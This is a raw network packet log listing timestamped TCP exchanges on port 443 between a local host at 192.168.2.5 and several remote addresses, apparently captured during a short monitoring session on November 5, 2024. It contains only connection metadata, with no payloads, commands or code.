Nov 5, 2024 10:13:32.596160889 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.611751080 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.611766100 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.611767054 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.639123917 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.639139891 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.646394968 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.646399021 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.661423922 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.661432028 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.668801069 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.668807983 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.676206112 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.676215887 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.681408882 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.681417942 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.686156988 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.686161995 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.694114923 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.694119930 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.758196115 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.778471947 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.778481007 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.779123068 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.779126883 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.781147957 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.781332016 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.781438112 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.781797886 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.781797886 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.781806946 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.781816006 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.793715000 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.793741941 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.793816090 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.793986082 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.793994904 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.801794052 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.801811934 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.801858902 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.801883936 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.801922083 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.803678989 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.803688049 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.803883076 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.803888083 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.816222906 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.816337109 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.816387892 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.827516079 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.827529907 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.827539921 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.827544928 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.829006910 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.829057932 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.829118013 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.844937086 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.844949007 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.875329971 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.875351906 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.875410080 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.880182028 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.880192041 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.880332947 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.888030052 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.888037920 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.888101101 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.888329983 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.888348103 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.917371988 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.917391062 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.917442083 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.917444944 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.917486906 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.937494993 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.937510014 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.944658995 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.944672108 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.947987080 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.947992086 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.948018074 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.948021889 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.962021112 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.962028980 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.962176085 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.962326050 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:32.962336063 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.044461012 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:33.044471025 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:33.044550896 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:33.045551062 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:33.045562983 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:33.681556940 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.682107925 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.682118893 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.682526112 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.682528973 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.684478998 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.684798956 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.684818029 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.685216904 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.685223103 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.693671942 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.694031954 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.694046021 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.694374084 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.694379091 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.707485914 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.707808018 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.707813978 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.708184958 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.708189011 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.750144958 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.750484943 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.750498056 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.750863075 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.750868082 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.821628094 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.821680069 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.821719885 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.821818113 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.821839094 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.821891069 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.821907997 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.821949005 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.822045088 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.822052002 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.822055101 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.822061062 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.822072029 CET	49814	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.822077990 CET	443	49814	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.822078943 CET	49815	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.822082996 CET	443	49815	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.824603081 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.824654102 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.824692965 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.824702024 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.824776888 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.824778080 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.824925900 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.824942112 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.824996948 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.825009108 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.831931114 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.831940889 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.831988096 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.832000017 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.832034111 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.832175970 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.832185984 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.832217932 CET	49816	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.832222939 CET	443	49816	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.833981991 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.834014893 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.834120989 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.834239006 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.834255934 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.843070030 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.843206882 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.843256950 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.843290091 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.843297005 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.843305111 CET	49818	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.843310118 CET	443	49818	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.845302105 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.845318079 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.845552921 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.845673084 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.845685005 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.891494036 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:33.891592026 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:33.895781994 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:33.895787954 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:33.896119118 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.896162987 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.896224976 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.896291971 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:33.896373034 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.896373034 CET	49817	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.896382093 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.896389961 CET	443	49817	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.898431063 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.898448944 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.898658037 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.898847103 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:33.898869038 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:33.932182074 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:33.979320049 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.174156904 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.174216032 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.174338102 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:34.174349070 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.174360037 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:34.174364090 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.174408913 CET	49819	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:34.174412012 CET	443	49819	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.208467960 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:34.208498001 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.208749056 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:34.208996058 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:34.209011078 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:34.572056055 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.575237989 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.575261116 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.576067924 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.576072931 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.580143929 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.582479954 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.582505941 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.583003998 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.583009005 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.586123943 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.586498022 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.586504936 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.586893082 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.586896896 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.613924980 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.614392042 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.614406109 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.614609003 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:34.614635944 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:34.614696026 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:34.614885092 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:34.614897013 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:34.615076065 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.615080118 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.644378901 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.649745941 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.649759054 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.650216103 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.650223017 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.709650993 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.709785938 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.709849119 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.710022926 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.710033894 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.710067034 CET	49820	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.710072994 CET	443	49820	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.712905884 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.712939978 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.713013887 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.713133097 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.713141918 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.718264103 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.718612909 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.718689919 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.718717098 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.718727112 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.718734980 CET	49821	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.718739033 CET	443	49821	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.721256018 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.721265078 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.721324921 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.721445084 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.721455097 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.731787920 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.731853008 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.731919050 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.732043028 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.732043028 CET	49822	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.732050896 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.732059002 CET	443	49822	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.734210968 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.734239101 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.734297037 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.734569073 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.734582901 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.753153086 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.753273010 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.753350973 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.753587008 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.753591061 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.753599882 CET	49823	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.753602982 CET	443	49823	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.756066084 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.756086111 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.756270885 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.759970903 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.759979010 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.782847881 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.783134937 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.783205986 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.783505917 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.783505917 CET	49824	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.783534050 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.783543110 CET	443	49824	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.786154985 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.786164999 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:34.786221981 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.786374092 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:34.786386013 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.078870058 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.078952074 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:35.083388090 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:35.083396912 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.083627939 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.084537983 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:35.127336979 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.332494020 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.332550049 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.332737923 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:35.354994059 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:35.355006933 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.355015039 CET	49825	443	192.168.2.5	184.28.90.27
Nov 5, 2024 10:13:35.355020046 CET	443	49825	184.28.90.27	192.168.2.5
Nov 5, 2024 10:13:35.456703901 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.467070103 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.467351913 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.502089024 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.502388000 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.512471914 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.517719030 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.519453049 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.531256914 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.548964024 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.564728975 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.580238104 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.638288021 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.638304949 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.639575005 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.639636993 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.641275883 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.641287088 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.641815901 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.641820908 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.642184973 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.642196894 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.642616034 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.642621040 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.643404961 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.643409967 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.644013882 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.644018888 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.645880938 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.645960093 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.646254063 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.646261930 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.646738052 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.646755934 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.647192001 CET	49830	443	192.168.2.5	13.107.253.45
